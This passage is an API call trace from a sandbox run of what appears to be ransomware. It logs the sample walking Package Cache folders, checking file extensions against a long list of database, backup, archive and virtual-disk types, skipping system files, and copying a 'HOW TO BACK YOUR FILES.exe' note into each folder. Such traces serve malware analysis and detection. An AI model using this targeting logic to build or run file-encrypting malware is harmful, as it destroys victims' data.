	[0038.799] lstrcmpiW (lpString1="cab", lpString2="sdb") returned -1
	[0038.799] lstrlenW (lpString="sdc") returned 3
	[0038.799] lstrcmpiW (lpString1="cab", lpString2="sdc") returned -1
	[0038.799] lstrlenW (lpString="sdf") returned 3
	[0038.799] lstrcmpiW (lpString1="cab", lpString2="sdf") returned -1
	[0038.799] lstrlenW (lpString="sis") returned 3
	[0038.799] lstrcmpiW (lpString1="cab", lpString2="sis") returned -1
	[0038.799] lstrlenW (lpString="spq") returned 3
	[0038.799] lstrcmpiW (lpString1="cab", lpString2="spq") returned -1
	[0038.799] lstrlenW (lpString="te") returned 2
	[0038.799] lstrcmpiW (lpString1="ab", lpString2="te") returned -1
	[0038.799] lstrlenW (lpString="teacher") returned 7
	[0038.799] lstrcmpiW (lpString1="ab1.cab", lpString2="teacher") returned -1
	[0038.799] lstrlenW (lpString="tmd") returned 3
	[0038.799] lstrcmpiW (lpString1="cab", lpString2="tmd") returned -1
	[0038.799] lstrlenW (lpString="tps") returned 3
	[0038.799] lstrcmpiW (lpString1="cab", lpString2="tps") returned -1
	[0038.799] lstrlenW (lpString="trc") returned 3
	[0038.799] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1
	[0038.799] lstrlenW (lpString="trc") returned 3
	[0038.799] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1
	[0038.799] lstrlenW (lpString="trm") returned 3
	[0038.799] lstrcmpiW (lpString1="cab", lpString2="trm") returned -1
	[0038.800] lstrlenW (lpString="udb") returned 3
	[0038.800] lstrcmpiW (lpString1="cab", lpString2="udb") returned -1
	[0038.800] lstrlenW (lpString="udl") returned 3
	[0038.800] lstrcmpiW (lpString1="cab", lpString2="udl") returned -1
	[0038.800] lstrlenW (lpString="usr") returned 3
	[0038.800] lstrcmpiW (lpString1="cab", lpString2="usr") returned -1
	[0038.800] lstrlenW (lpString="v12") returned 3
	[0038.800] lstrcmpiW (lpString1="cab", lpString2="v12") returned -1
	[0038.800] lstrlenW (lpString="vis") returned 3
	[0038.800] lstrcmpiW (lpString1="cab", lpString2="vis") returned -1
	[0038.800] lstrlenW (lpString="vpd") returned 3
	[0038.800] lstrcmpiW (lpString1="cab", lpString2="vpd") returned -1
	[0038.800] lstrlenW (lpString="vvv") returned 3
	[0038.800] lstrcmpiW (lpString1="cab", lpString2="vvv") returned -1
	[0038.800] lstrlenW (lpString="wdb") returned 3
	[0038.800] lstrcmpiW (lpString1="cab", lpString2="wdb") returned -1
	[0038.800] lstrlenW (lpString="wmdb") returned 4
	[0038.800] lstrcmpiW (lpString1=".cab", lpString2="wmdb") returned -1
	[0038.800] lstrlenW (lpString="wrk") returned 3
	[0038.800] lstrcmpiW (lpString1="cab", lpString2="wrk") returned -1
	[0038.800] lstrlenW (lpString="xdb") returned 3
	[0038.800] lstrcmpiW (lpString1="cab", lpString2="xdb") returned -1
	[0038.800] lstrlenW (lpString="xld") returned 3
	[0038.800] lstrcmpiW (lpString1="cab", lpString2="xld") returned -1
	[0038.800] lstrlenW (lpString="xmlff") returned 5
	[0038.800] lstrcmpiW (lpString1="1.cab", lpString2="xmlff") returned -1
	[0038.800] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f3b13b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f3b13b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0038.800] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0038.800] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f9b3800, ftCreationTime.dwHighDateTime=0x1cf3dd3, ftLastAccessTime.dwLowDateTime=0x4f9b3800, ftLastAccessTime.dwHighDateTime=0x1cf3dd3, ftLastWriteTime.dwLowDateTime=0x4f9b3800, ftLastWriteTime.dwHighDateTime=0x1cf3dd3, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
	[0038.800] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0038.800] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2="Apollon865.txt.exe") returned 1
	[0038.800] lstrcpyW (in: lpString1=0x2d3e638, lpString2="vc_runtimeAdditional_x86.msi" | out: lpString1="vc_runtimeAdditional_x86.msi") returned="vc_runtimeAdditional_x86.msi"
	[0038.800] lstrlenW (lpString="vc_runtimeAdditional_x86.msi") returned 28
	[0038.800] lstrlenW (lpString="Apollon865") returned 10
	[0038.800] lstrcmpiW (lpString1="al_x86.msi", lpString2="Apollon865") returned -1
	[0038.801] lstrlenW (lpString=".dll") returned 4
	[0038.801] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2=".dll") returned 1
	[0038.801] lstrlenW (lpString=".lnk") returned 4
	[0038.801] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2=".lnk") returned 1
	[0038.801] lstrlenW (lpString=".ini") returned 4
	[0038.801] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2=".ini") returned 1
	[0038.801] lstrlenW (lpString=".sys") returned 4
	[0038.801] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2=".sys") returned 1
	[0038.801] lstrlenW (lpString="vc_runtimeAdditional_x86.msi") returned 28
	[0038.801] lstrlenW (lpString="bak") returned 3
	[0038.801] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1
	[0038.801] lstrlenW (lpString="ba_") returned 3
	[0038.801] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1
	[0038.801] lstrlenW (lpString="dbb") returned 3
	[0038.801] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1
	[0038.801] lstrlenW (lpString="vmdk") returned 4
	[0038.801] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1
	[0038.801] lstrlenW (lpString="rar") returned 3
	[0038.801] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1
	[0038.801] lstrlenW (lpString="zip") returned 3
	[0038.801] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1
	[0038.801] lstrlenW (lpString="tgz") returned 3
	[0038.801] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1
	[0038.801] lstrlenW (lpString="vbox") returned 4
	[0038.801] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1
	[0038.801] lstrlenW (lpString="vdi") returned 3
	[0038.801] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1
	[0038.801] lstrlenW (lpString="vhd") returned 3
	[0038.801] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1
	[0038.801] lstrlenW (lpString="vhdx") returned 4
	[0038.801] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1
	[0038.801] lstrlenW (lpString="avhd") returned 4
	[0038.801] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1
	[0038.801] lstrlenW (lpString="db") returned 2
	[0038.801] lstrcmpiW (lpString1="si", lpString2="db") returned 1
	[0038.801] lstrlenW (lpString="db2") returned 3
	[0038.801] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1
	[0038.801] lstrlenW (lpString="db3") returned 3
	[0038.802] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1
	[0038.802] lstrlenW (lpString="dbf") returned 3
	[0038.802] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1
	[0038.802] lstrlenW (lpString="mdf") returned 3
	[0038.802] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1
	[0038.802] lstrlenW (lpString="mdb") returned 3
	[0038.802] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1
	[0038.802] lstrlenW (lpString="sql") returned 3
	[0038.802] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1
	[0038.802] lstrlenW (lpString="sqlite") returned 6
	[0038.802] lstrcmpiW (lpString1="86.msi", lpString2="sqlite") returned -1
	[0038.802] lstrlenW (lpString="sqlite3") returned 7
	[0038.802] lstrcmpiW (lpString1="x86.msi", lpString2="sqlite3") returned 1
	[0038.802] lstrlenW (lpString="sqlitedb") returned 8
	[0038.802] lstrcmpiW (lpString1="_x86.msi", lpString2="sqlitedb") returned -1
	[0038.802] lstrlenW (lpString="xml") returned 3
	[0038.802] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1
	[0038.802] lstrlenW (lpString="$er") returned 3
	[0038.802] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1
	[0038.802] lstrlenW (lpString="4dd") returned 3
	[0038.802] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1
	[0038.802] lstrlenW (lpString="4dl") returned 3
	[0038.802] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1
	[0038.802] lstrlenW (lpString="^^^") returned 3
	[0038.802] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1
	[0038.802] lstrlenW (lpString="abs") returned 3
	[0038.802] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1
	[0038.802] lstrlenW (lpString="abx") returned 3
	[0038.802] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1
	[0038.802] lstrlenW (lpString="accdb") returned 5
	[0038.802] lstrcmpiW (lpString1="6.msi", lpString2="accdb") returned -1
	[0038.802] lstrlenW (lpString="accdc") returned 5
	[0038.802] lstrcmpiW (lpString1="6.msi", lpString2="accdc") returned -1
	[0038.802] lstrlenW (lpString="accde") returned 5
	[0038.802] lstrcmpiW (lpString1="6.msi", lpString2="accde") returned -1
	[0038.802] lstrlenW (lpString="accdr") returned 5
	[0038.802] lstrcmpiW (lpString1="6.msi", lpString2="accdr") returned -1
	[0038.802] lstrlenW (lpString="accdt") returned 5
	[0038.803] lstrcmpiW (lpString1="6.msi", lpString2="accdt") returned -1
	[0038.803] lstrlenW (lpString="accdw") returned 5
	[0038.803] lstrcmpiW (lpString1="6.msi", lpString2="accdw") returned -1
	[0038.803] lstrlenW (lpString="accft") returned 5
	[0038.803] lstrcmpiW (lpString1="6.msi", lpString2="accft") returned -1
	[0038.803] lstrlenW (lpString="adb") returned 3
	[0038.803] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0038.803] lstrlenW (lpString="adb") returned 3
	[0038.803] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0038.803] lstrlenW (lpString="ade") returned 3
	[0038.803] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1
	[0038.803] lstrlenW (lpString="adf") returned 3
	[0038.803] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1
	[0038.803] lstrlenW (lpString="adn") returned 3
	[0038.803] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1
	[0038.803] lstrlenW (lpString="adp") returned 3
	[0038.803] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1
	[0038.803] lstrlenW (lpString="alf") returned 3
	[0038.803] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1
	[0038.803] lstrlenW (lpString="ask") returned 3
	[0038.803] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1
	[0038.803] lstrlenW (lpString="btr") returned 3
	[0038.803] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1
	[0038.803] lstrlenW (lpString="cat") returned 3
	[0038.803] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1
	[0038.803] lstrlenW (lpString="cdb") returned 3
	[0038.803] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1
	[0038.803] lstrlenW (lpString="ckp") returned 3
	[0038.803] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1
	[0038.803] lstrlenW (lpString="cma") returned 3
	[0038.803] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1
	[0038.803] lstrlenW (lpString="cpd") returned 3
	[0038.803] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1
	[0038.803] lstrlenW (lpString="dacpac") returned 6
	[0038.803] lstrcmpiW (lpString1="86.msi", lpString2="dacpac") returned -1
	[0038.803] lstrlenW (lpString="dad") returned 3
	[0038.803] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1
	[0038.803] lstrlenW (lpString="dadiagrams") returned 10
	[0038.803] lstrcmpiW (lpString1="al_x86.msi", lpString2="dadiagrams") returned -1
	[0038.804] lstrlenW (lpString="daschema") returned 8
	[0038.804] lstrcmpiW (lpString1="_x86.msi", lpString2="daschema") returned -1
	[0038.804] lstrlenW (lpString="db-journal") returned 10
	[0038.804] lstrcmpiW (lpString1="al_x86.msi", lpString2="db-journal") returned -1
	[0038.804] lstrlenW (lpString="db-shm") returned 6
	[0038.804] lstrcmpiW (lpString1="86.msi", lpString2="db-shm") returned -1
	[0038.804] lstrlenW (lpString="db-wal") returned 6
	[0038.804] lstrcmpiW (lpString1="86.msi", lpString2="db-wal") returned -1
	[0038.804] lstrlenW (lpString="dbc") returned 3
	[0038.804] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1
	[0038.804] lstrlenW (lpString="dbs") returned 3
	[0038.804] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1
	[0038.804] lstrlenW (lpString="dbt") returned 3
	[0038.804] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1
	[0038.804] lstrlenW (lpString="dbv") returned 3
	[0038.804] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1
	[0038.804] lstrlenW (lpString="dbx") returned 3
	[0038.804] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1
	[0038.804] lstrlenW (lpString="dcb") returned 3
	[0038.804] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1
	[0038.804] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}"
	[0038.804] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a94f0 | out: hHeap=0x580000) returned 1
	[0038.804] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fda8 | out: hHeap=0x580000) returned 1
	[0038.804] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned 71
	[0038.804] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}"
	[0038.804] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.804] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0038.810] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0038.810] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0x2f3d7510, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f3d7510, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0038.810] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.810] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0038.810] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="state.rsm" | out: lpString1="state.rsm") returned="state.rsm"
	[0038.811] lstrlenW (lpString="state.rsm") returned 9
	[0038.811] lstrlenW (lpString="Apollon865") returned 10
	[0038.811] lstrlenW (lpString=".dll") returned 4
	[0038.811] lstrcmpiW (lpString1="state.rsm", lpString2=".dll") returned 1
	[0038.811] lstrlenW (lpString=".lnk") returned 4
	[0038.811] lstrcmpiW (lpString1="state.rsm", lpString2=".lnk") returned 1
	[0038.811] lstrlenW (lpString=".ini") returned 4
	[0038.811] lstrcmpiW (lpString1="state.rsm", lpString2=".ini") returned 1
	[0038.811] lstrlenW (lpString=".sys") returned 4
	[0038.811] lstrcmpiW (lpString1="state.rsm", lpString2=".sys") returned 1
	[0038.811] lstrlenW (lpString="state.rsm") returned 9
	[0038.811] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="VC_redist.x86.exe" | out: lpString1="VC_redist.x86.exe") returned="VC_redist.x86.exe"
	[0038.811] lstrlenW (lpString="VC_redist.x86.exe") returned 17
	[0038.811] lstrlenW (lpString="Apollon865") returned 10
	[0038.811] lstrcmpiW (lpString1="st.x86.exe", lpString2="Apollon865") returned 1
	[0038.811] lstrlenW (lpString=".dll") returned 4
	[0038.811] lstrcmpiW (lpString1="VC_redist.x86.exe", lpString2=".dll") returned 1
	[0038.811] lstrlenW (lpString=".lnk") returned 4
	[0038.811] lstrcmpiW (lpString1="VC_redist.x86.exe", lpString2=".lnk") returned 1
	[0038.811] lstrlenW (lpString=".ini") returned 4
	[0038.811] lstrcmpiW (lpString1="VC_redist.x86.exe", lpString2=".ini") returned 1
	[0038.811] lstrlenW (lpString=".sys") returned 4
	[0038.811] lstrcmpiW (lpString1="VC_redist.x86.exe", lpString2=".sys") returned 1
	[0038.811] lstrlenW (lpString="VC_redist.x86.exe") returned 17
	[0038.811] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}"
	[0038.811] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a9458 | out: hHeap=0x580000) returned 1
	[0038.811] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd88 | out: hHeap=0x580000) returned 1
	[0038.811] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned 71
	[0038.811] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}"
	[0038.811] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.811] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0038.820] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0038.820] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f3fd670, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f3fd670, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0038.821] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.821] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0038.821] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="state.rsm" | out: lpString1="state.rsm") returned="state.rsm"
	[0038.821] lstrlenW (lpString="state.rsm") returned 9
	[0038.821] lstrlenW (lpString="Apollon865") returned 10
	[0038.821] lstrlenW (lpString=".dll") returned 4
	[0038.821] lstrcmpiW (lpString1="state.rsm", lpString2=".dll") returned 1
	[0038.821] lstrlenW (lpString=".lnk") returned 4
	[0038.821] lstrcmpiW (lpString1="state.rsm", lpString2=".lnk") returned 1
	[0038.821] lstrlenW (lpString=".ini") returned 4
	[0038.821] lstrcmpiW (lpString1="state.rsm", lpString2=".ini") returned 1
	[0038.821] lstrlenW (lpString=".sys") returned 4
	[0038.821] lstrcmpiW (lpString1="state.rsm", lpString2=".sys") returned 1
	[0038.821] lstrlenW (lpString="state.rsm") returned 9
	[0038.821] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="vcredist_x86.exe" | out: lpString1="vcredist_x86.exe") returned="vcredist_x86.exe"
	[0038.821] lstrlenW (lpString="vcredist_x86.exe") returned 16
	[0038.821] lstrlenW (lpString="Apollon865") returned 10
	[0038.821] lstrcmpiW (lpString1="st_x86.exe", lpString2="Apollon865") returned 1
	[0038.821] lstrlenW (lpString=".dll") returned 4
	[0038.821] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2=".dll") returned 1
	[0038.821] lstrlenW (lpString=".lnk") returned 4
	[0038.821] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2=".lnk") returned 1
	[0038.821] lstrlenW (lpString=".ini") returned 4
	[0038.821] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2=".ini") returned 1
	[0038.821] lstrlenW (lpString=".sys") returned 4
	[0038.821] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2=".sys") returned 1
	[0038.821] lstrlenW (lpString="vcredist_x86.exe") returned 16
	[0038.821] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}") returned="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}"
	[0038.821] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a93c0 | out: hHeap=0x580000) returned 1
	[0038.821] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd68 | out: hHeap=0x580000) returned 1
	[0038.821] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}") returned 71
	[0038.822] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}") returned="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}"
	[0038.822] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.822] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0038.827] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0038.827] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f3fd670, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f3fd670, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0038.828] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.828] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0038.828] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="state.rsm" | out: lpString1="state.rsm") returned="state.rsm"
	[0038.828] lstrlenW (lpString="state.rsm") returned 9
	[0038.828] lstrlenW (lpString="Apollon865") returned 10
	[0038.828] lstrlenW (lpString=".dll") returned 4
	[0038.828] lstrcmpiW (lpString1="state.rsm", lpString2=".dll") returned 1
	[0038.828] lstrlenW (lpString=".lnk") returned 4
	[0038.828] lstrcmpiW (lpString1="state.rsm", lpString2=".lnk") returned 1
	[0038.828] lstrlenW (lpString=".ini") returned 4
	[0038.828] lstrcmpiW (lpString1="state.rsm", lpString2=".ini") returned 1
	[0038.828] lstrlenW (lpString=".sys") returned 4
	[0038.828] lstrcmpiW (lpString1="state.rsm", lpString2=".sys") returned 1
	[0038.828] lstrlenW (lpString="state.rsm") returned 9
	[0038.828] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="VC_redist.x64.exe" | out: lpString1="VC_redist.x64.exe") returned="VC_redist.x64.exe"
	[0038.828] lstrlenW (lpString="VC_redist.x64.exe") returned 17
	[0038.828] lstrlenW (lpString="Apollon865") returned 10
	[0038.828] lstrcmpiW (lpString1="st.x64.exe", lpString2="Apollon865") returned 1
	[0038.828] lstrlenW (lpString=".dll") returned 4
	[0038.828] lstrcmpiW (lpString1="VC_redist.x64.exe", lpString2=".dll") returned 1
	[0038.828] lstrlenW (lpString=".lnk") returned 4
	[0038.828] lstrcmpiW (lpString1="VC_redist.x64.exe", lpString2=".lnk") returned 1
	[0038.828] lstrlenW (lpString=".ini") returned 4
	[0038.828] lstrcmpiW (lpString1="VC_redist.x64.exe", lpString2=".ini") returned 1
	[0038.828] lstrlenW (lpString=".sys") returned 4
	[0038.828] lstrcmpiW (lpString1="VC_redist.x64.exe", lpString2=".sys") returned 1
	[0038.828] lstrlenW (lpString="VC_redist.x64.exe") returned 17
	[0038.828] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017"
	[0038.828] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a578 | out: hHeap=0x580000) returned 1
	[0038.828] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd48 | out: hHeap=0x580000) returned 1
	[0038.828] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned 83
	[0038.829] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017"
